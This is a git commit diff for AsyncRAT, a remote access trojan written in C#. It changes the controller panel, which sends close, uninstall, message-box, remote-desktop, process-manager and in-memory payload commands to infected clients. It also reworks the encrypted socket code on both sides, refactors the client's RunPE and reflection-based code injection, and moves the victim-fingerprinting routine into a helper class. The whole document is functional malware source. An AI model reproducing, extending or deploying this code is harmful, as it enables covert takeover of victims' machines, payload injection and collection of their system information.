UPDATE
This commit is contained in:
parent
4719d0042b
commit
4c441f2c07
@ -137,24 +137,21 @@ namespace AsyncRAT_Sharp
|
||||
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
|
||||
}
|
||||
|
||||
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "close";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
});
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
@ -167,12 +164,9 @@ namespace AsyncRAT_Sharp
|
||||
msgpack.ForcePathObject("Packet").AsString = "sendMessage";
|
||||
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
});
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -193,13 +187,10 @@ namespace AsyncRAT_Sharp
|
||||
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
||||
msgpack.ForcePathObject("Update").AsString = "false";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Red;
|
||||
});
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -210,7 +201,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
@ -219,12 +210,9 @@ namespace AsyncRAT_Sharp
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "uninstall";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
});
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@ -249,13 +237,10 @@ namespace AsyncRAT_Sharp
|
||||
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
||||
msgpack.ForcePathObject("Update").AsString = "true";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Red;
|
||||
});
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -266,7 +251,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
@ -291,13 +276,10 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Red;
|
||||
});
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
SF.Close();
|
||||
@ -309,7 +291,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
@ -320,11 +302,9 @@ namespace AsyncRAT_Sharp
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "true";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
@ -342,7 +322,6 @@ namespace AsyncRAT_Sharp
|
||||
RD.Show();
|
||||
}
|
||||
}));
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@ -353,7 +332,7 @@ namespace AsyncRAT_Sharp
|
||||
|
||||
}
|
||||
|
||||
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -363,11 +342,9 @@ namespace AsyncRAT_Sharp
|
||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||
msgpack.ForcePathObject("Option").AsString = "List";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
|
||||
@ -383,7 +360,6 @@ namespace AsyncRAT_Sharp
|
||||
PM.Show();
|
||||
}
|
||||
}));
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (!C.Client.Connected) this.Close();
|
||||
if (!C.ClientSocket.Connected) this.Close();
|
||||
}
|
||||
|
||||
private async void killToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
|
@ -32,7 +32,7 @@ namespace AsyncRAT_Sharp.Forms
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (!C.Client.Connected) this.Close();
|
||||
if (!C.ClientSocket.Connected) this.Close();
|
||||
}
|
||||
|
||||
private void RemoteDesktop_Activated(object sender, EventArgs e)
|
||||
|
@ -31,8 +31,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
{
|
||||
Client.LV = new ListViewItem();
|
||||
Client.LV.Tag = Client;
|
||||
Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]);
|
||||
string[] ipinf = cNewGeoUse.GetIpInf(Client.Client.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
|
||||
Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
|
||||
string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
|
||||
Client.LV.SubItems.Add(ipinf[1]);
|
||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
|
||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
||||
|
Binary file not shown.
@ -14,92 +14,94 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
class Clients
|
||||
{
|
||||
public Socket Client { get; set; }
|
||||
private byte[] Buffer { get; set; }
|
||||
private long Buffersize { get; set; }
|
||||
private bool BufferRecevied { get; set; }
|
||||
private MemoryStream MS { get; set; }
|
||||
public Socket ClientSocket { get; set; }
|
||||
private byte[] ClientBuffer { get; set; }
|
||||
private long ClientBuffersize { get; set; }
|
||||
private bool ClientBufferRecevied { get; set; }
|
||||
private MemoryStream ClientMS { get; set; }
|
||||
public ListViewItem LV { get; set; }
|
||||
private object SendSync { get; set; }
|
||||
private object EndSendSync { get; set; }
|
||||
public string ID { get; set; }
|
||||
|
||||
public Clients(Socket CLIENT)
|
||||
public Clients(Socket socket)
|
||||
{
|
||||
if (Settings.Blocked.Contains(CLIENT.RemoteEndPoint.ToString().Split(':')[0]))
|
||||
if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0]))
|
||||
{
|
||||
Disconnected();
|
||||
return;
|
||||
}
|
||||
else
|
||||
HandleLogs.Addmsg($"Client {CLIENT.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
|
||||
HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
|
||||
|
||||
|
||||
Client = CLIENT;
|
||||
Buffer = new byte[1];
|
||||
Buffersize = 0;
|
||||
BufferRecevied = false;
|
||||
MS = new MemoryStream();
|
||||
ClientSocket = socket;
|
||||
ClientBuffer = new byte[1];
|
||||
ClientBuffersize = 0;
|
||||
ClientBufferRecevied = false;
|
||||
ClientMS = new MemoryStream();
|
||||
LV = null;
|
||||
SendSync = new object();
|
||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||
EndSendSync = new object();
|
||||
ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
|
||||
}
|
||||
|
||||
public async void ReadClientData(IAsyncResult ar)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Client.Connected)
|
||||
if (!ClientSocket.Connected)
|
||||
{
|
||||
Disconnected();
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
int Recevied = Client.EndReceive(ar);
|
||||
int Recevied = ClientSocket.EndReceive(ar);
|
||||
if (Recevied > 0)
|
||||
{
|
||||
if (BufferRecevied == false)
|
||||
if (Buffer[0] == 0)
|
||||
if (ClientBufferRecevied == false)
|
||||
if (ClientBuffer[0] == 0)
|
||||
{
|
||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
ClientBuffersize = Convert.ToInt64(Encoding.UTF8.GetString(ClientMS.ToArray()));
|
||||
ClientMS.Dispose();
|
||||
ClientMS = new MemoryStream();
|
||||
if (ClientBuffersize > 0)
|
||||
{
|
||||
Buffer = new byte[Buffersize];
|
||||
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
|
||||
BufferRecevied = true;
|
||||
ClientBuffer = new byte[ClientBuffersize];
|
||||
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
|
||||
ClientBufferRecevied = true;
|
||||
}
|
||||
}
|
||||
else
|
||||
await MS.WriteAsync(Buffer, 0, Buffer.Length);
|
||||
await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
|
||||
else
|
||||
{
|
||||
await MS.WriteAsync(Buffer, 0, Recevied);
|
||||
if (MS.Length == Buffersize)
|
||||
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
|
||||
Settings.Received += Recevied;
|
||||
if (ClientMS.Length == ClientBuffersize)
|
||||
{
|
||||
try
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this });
|
||||
ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this });
|
||||
}
|
||||
catch (CryptographicException)
|
||||
{
|
||||
HandleLogs.Addmsg($"Client {Client.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
|
||||
Settings.Blocked.Add(Client.RemoteEndPoint.ToString().Split(':')[0]);
|
||||
HandleLogs.Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
|
||||
Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
|
||||
Disconnected();
|
||||
return;
|
||||
}
|
||||
Settings.Received += MS.ToArray().Length;
|
||||
Buffer = new byte[1];
|
||||
Buffersize = 0;
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
BufferRecevied = false;
|
||||
ClientBuffer = new byte[1];
|
||||
ClientBuffersize = 0;
|
||||
ClientMS.Dispose();
|
||||
ClientMS = new MemoryStream();
|
||||
ClientBufferRecevied = false;
|
||||
}
|
||||
else
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
ClientBuffer = new byte[ClientBuffersize - ClientMS.Length];
|
||||
}
|
||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||
ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -116,6 +118,9 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
}
|
||||
|
||||
public void Disconnected()
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
if (LV != null)
|
||||
{
|
||||
@ -127,11 +132,13 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
lock (Settings.Online)
|
||||
Settings.Online.Remove(this);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
try
|
||||
{
|
||||
MS?.Dispose();
|
||||
Client?.Dispose();
|
||||
ClientMS?.Dispose();
|
||||
ClientSocket?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
@ -140,24 +147,25 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
lock (SendSync)
|
||||
{
|
||||
if (!Client.Connected)
|
||||
if (ClientSocket == null)
|
||||
{
|
||||
Disconnected();
|
||||
return;
|
||||
}
|
||||
if (!ClientSocket.Connected)
|
||||
{
|
||||
Disconnected();
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
using (MemoryStream MEM = new MemoryStream())
|
||||
{
|
||||
byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
|
||||
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
|
||||
MEM.Write(buffersize, 0, buffersize.Length);
|
||||
MEM.Write(buffer, 0, buffer.Length);
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null);
|
||||
Settings.Sent += (long)MEM.Length;
|
||||
}
|
||||
|
||||
ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
||||
ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
|
||||
ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
@ -169,10 +177,15 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
}
|
||||
|
||||
public void EndSend(IAsyncResult ar)
|
||||
{
|
||||
lock (EndSendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
Client.EndSend(ar);
|
||||
int sent = 0;
|
||||
sent = ClientSocket.EndSend(ar);
|
||||
Debug.WriteLine("/// Server Sent " + sent.ToString() + " Bytes ///");
|
||||
Settings.Sent += sent;
|
||||
}
|
||||
catch
|
||||
{
|
||||
@ -181,4 +194,5 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
SendTimeout = -1,
|
||||
};
|
||||
Server.Bind(IpEndPoint);
|
||||
Server.Listen(20);
|
||||
Server.Listen(30);
|
||||
HandleLogs.Addmsg($"Listenning {port}", Color.Green);
|
||||
Server.BeginAccept(EndAccept, null);
|
||||
}
|
||||
|
@ -70,7 +70,8 @@
|
||||
<Compile Include="Handle Packet\HandlePacket.cs" />
|
||||
<Compile Include="Handle Packet\ProcessManager.cs" />
|
||||
<Compile Include="Handle Packet\RemoteDesktop.cs" />
|
||||
<Compile Include="Handle Packet\SendFile.cs" />
|
||||
<Compile Include="Handle Packet\SendToMemory.cs" />
|
||||
<Compile Include="Helper\Methods.cs" />
|
||||
<Compile Include="Install\HiddenStartup.cs" />
|
||||
<Compile Include="Install\NormalStartup.cs" />
|
||||
<Compile Include="MessagePack\BytesTools.cs" />
|
||||
|
@ -54,11 +54,11 @@ namespace Client.Handle_Packet
|
||||
Thread thread = null;
|
||||
if (Injection.Length == 0)
|
||||
{
|
||||
thread = new Thread(new ParameterizedThreadStart(SendFile.SendToMemory));
|
||||
thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection));
|
||||
}
|
||||
else
|
||||
{
|
||||
thread = new Thread(new ParameterizedThreadStart(SendFile.RunPE));
|
||||
thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE));
|
||||
}
|
||||
thread.Start(parameters);
|
||||
}
|
||||
|
@ -5,9 +5,9 @@ using System.Runtime.InteropServices;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
class SendFile
|
||||
class SendToMemory
|
||||
{
|
||||
public static void SendToMemory(object obj)
|
||||
public static void Reflection(object obj)
|
||||
{
|
||||
object[] Obj = (object[])obj;
|
||||
byte[] Buffer = (byte[])Obj[0];
|
30
AsyncRAT-C#/Client/Helper/Methods.cs
Normal file
30
AsyncRAT-C#/Client/Helper/Methods.cs
Normal file
@ -0,0 +1,30 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
static class Methods
|
||||
{
|
||||
public static string HWID()
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.Append(Environment.UserDomainName);
|
||||
sb.Append(Environment.UserName);
|
||||
sb.Append(Environment.MachineName);
|
||||
sb.Append(Environment.Version);
|
||||
return GetHash(sb.ToString());
|
||||
}
|
||||
|
||||
public static string GetHash(string strToHash)
|
||||
{
|
||||
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
|
||||
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
|
||||
bytesToHash = md5Obj.ComputeHash(bytesToHash);
|
||||
StringBuilder strResult = new StringBuilder();
|
||||
foreach (byte b in bytesToHash)
|
||||
strResult.Append(b.ToString("x2"));
|
||||
return strResult.ToString().Substring(0, 12).ToUpper();
|
||||
}
|
||||
}
|
||||
}
|
@ -8,6 +8,7 @@ using System.Text;
|
||||
using System.Threading;
|
||||
using System.Security.Cryptography;
|
||||
using Client.Handle_Packet;
|
||||
using Client.Helper;
|
||||
|
||||
namespace Client.Sockets
|
||||
{
|
||||
@ -22,6 +23,7 @@ namespace Client.Sockets
|
||||
private static Timer Tick { get; set; }
|
||||
private static MemoryStream MS { get; set; }
|
||||
private static object SendSync { get; set; }
|
||||
private static object EndSendSync { get; set; }
|
||||
public static bool Connected { get; set; }
|
||||
|
||||
public static void InitializeClient()
|
||||
@ -44,6 +46,7 @@ namespace Client.Sockets
|
||||
BufferRecevied = false;
|
||||
MS = new MemoryStream();
|
||||
SendSync = new object();
|
||||
EndSendSync = new object();
|
||||
BeginSend(SendInfo());
|
||||
TimerCallback T = CheckServer;
|
||||
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
|
||||
@ -52,7 +55,6 @@ namespace Client.Sockets
|
||||
catch
|
||||
{
|
||||
Debug.WriteLine("Disconnected!");
|
||||
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
|
||||
Connected = false;
|
||||
}
|
||||
}
|
||||
@ -76,7 +78,7 @@ namespace Client.Sockets
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
||||
msgpack.ForcePathObject("HWID").AsString = HWID();
|
||||
msgpack.ForcePathObject("HWID").AsString = Methods.HWID();
|
||||
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
|
||||
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
|
||||
@ -85,28 +87,7 @@ namespace Client.Sockets
|
||||
return msgpack.Encode2Bytes();
|
||||
}
|
||||
|
||||
private static string HWID()
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.Append(Environment.UserDomainName);
|
||||
sb.Append(Environment.UserName);
|
||||
sb.Append(Environment.MachineName);
|
||||
sb.Append(Environment.Version);
|
||||
return GetHash(sb.ToString());
|
||||
}
|
||||
|
||||
private static string GetHash(string strToHash)
|
||||
{
|
||||
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
|
||||
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
|
||||
bytesToHash = md5Obj.ComputeHash(bytesToHash);
|
||||
StringBuilder strResult = new StringBuilder();
|
||||
foreach (byte b in bytesToHash)
|
||||
strResult.Append(b.ToString("x2"));
|
||||
return strResult.ToString().Substring(0, 12).ToUpper();
|
||||
}
|
||||
|
||||
public static void ReadServertData(IAsyncResult ar)
|
||||
public static void ReadServertData(IAsyncResult Iar)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -116,14 +97,14 @@ namespace Client.Sockets
|
||||
return;
|
||||
}
|
||||
|
||||
int Recevied = Client.EndReceive(ar);
|
||||
int Recevied = Client.EndReceive(Iar);
|
||||
if (Recevied > 0)
|
||||
{
|
||||
if (BufferRecevied == false)
|
||||
if (Buffer[0] == 0)
|
||||
{
|
||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
||||
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
|
||||
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
@ -168,24 +149,14 @@ namespace Client.Sockets
|
||||
{
|
||||
lock (SendSync)
|
||||
{
|
||||
if (!Client.Connected)
|
||||
{
|
||||
Connected = false;
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
using (MemoryStream MS = new MemoryStream())
|
||||
{
|
||||
byte[] buffer = Settings.aes256.Encrypt(Msg);
|
||||
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
|
||||
MS.Write(buffersize, 0, buffersize.Length);
|
||||
MS.Write(buffer, 0, buffer.Length);
|
||||
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
|
||||
}
|
||||
Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
|
||||
Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
@ -196,10 +167,14 @@ namespace Client.Sockets
|
||||
}
|
||||
|
||||
public static void EndSend(IAsyncResult ar)
|
||||
{
|
||||
lock (EndSendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
Client.EndSend(ar);
|
||||
int sent = 0;
|
||||
sent = Client.EndSend(ar);
|
||||
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
|
||||
}
|
||||
catch
|
||||
{
|
||||
@ -207,6 +182,7 @@ namespace Client.Sockets
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void CheckServer(object obj)
|
||||
{
|
||||
|
Loading…
x
Reference in New Issue
Block a user